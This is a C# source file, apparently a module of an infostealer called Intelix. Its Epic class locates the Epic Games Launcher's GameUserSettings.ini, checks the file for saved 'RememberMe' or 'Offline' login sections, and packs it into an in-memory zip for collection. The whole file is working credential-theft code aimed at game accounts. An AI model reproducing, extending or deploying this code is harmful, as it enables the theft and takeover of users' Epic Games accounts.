28 lines
907 B
C#
28 lines
907 B
C#
using System;
|
|||
|
|
using System.IO;
|
||
|
|
using System.Text;
|
||
|
|
using Intelix.Helper.Data;
|
||
|
|
|
||
|
|
namespace Intelix.Targets.Games;
|
||
|
|
|
||
|
|
public class Epic : ITarget
|
||
|
|
{
|
||
|
|
public void Collect(InMemoryZip zip, Counter counter)
|
||
|
|
{
|
||
|
|
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "EpicGamesLauncher", "Saved", "Config", "Windows", "GameUserSettings.ini");
|
||
|
|
if (File.Exists(text))
|
||
|
|
{
|
||
|
|
string text2 = File.ReadAllText(text);
|
||
|
|
if (text2.Contains("[RememberMe]") || text2.Contains("[Offline]"))
|
||
|
|
{
|
||
|
|
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||
|
|
counterApplications.Name = "Epic Games";
|
||
|
|
string text3 = "Epic\\GameUserSettings.ini";
|
||
|
|
zip.AddFile(text3, Encoding.UTF8.GetBytes(text2));
|
||
|
|
counterApplications.Files.Add(text + " => " + text3);
|
||
|
|
counter.Games.Add(counterApplications);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|